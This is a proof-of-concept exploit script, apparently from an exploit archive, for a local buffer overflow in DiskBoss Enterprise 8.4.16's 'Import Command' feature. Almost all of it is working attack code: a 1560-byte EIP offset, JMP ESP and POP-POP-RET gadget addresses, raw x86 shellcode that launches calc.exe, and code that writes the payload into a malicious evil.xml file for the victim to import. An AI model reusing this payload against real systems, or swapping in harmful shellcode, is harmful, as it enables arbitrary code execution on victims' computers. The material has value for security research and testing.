DiskBoss Enterprise 8.4.16 – ‘Import Command’ Local Buffer Overflow
#!/usr/bin/python #======================================================================================================================== # Exploit Author: Touhid M.Shaikh # Exploit Title: DiskBoss Enterprise v8.4.16 "Import Command" Buffer Overflow # Date: 29-09-2017 # Website: www.touhidshaikh.com # Contact: https://github.com/touhidshaikh # Vulnerable Software: DiskBoss Enterprise v8.4.16 # Vendor Homepage: http://www.diskboss.com # Version: v8.4.16 # Software Link: http://www.diskboss.com/downloads.html # Tested On: Windows 7 x86 # # # To reproduce the exploit: # 1. right Click, click on Import Command # 2. select evil.xml , Booom Calc POPED up.. ;) #======================================================================================================================== import os,struct import sys #offset to eip junk = "A" * (1560) #JMP ESP (QtGui4.dll) jmp1 = struct.pack('<L',0x651bb77a) #NOPS nops = "\x90" #LEA EAX, [ESP+76] esp = "\x8D\x44\x24\x4c" #JMP ESP jmp2 = "\xFF\xE0" #Jump short 5 nseh = "\x90\x90\xEB\x05" #POP POP RET seh = struct.pack('<L',0x6501DE41) #CALC.EXE pop shellcode shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7" # FINAL PAYLOAD buf = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 90 + nseh + seh + nops * 10 + shellcode #FILE file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf + '\n</classify>' f = open('evil.xml', 'w') f.write(file) f.close() #GREETZ ---------- #Taushif(Brother) #----------------- |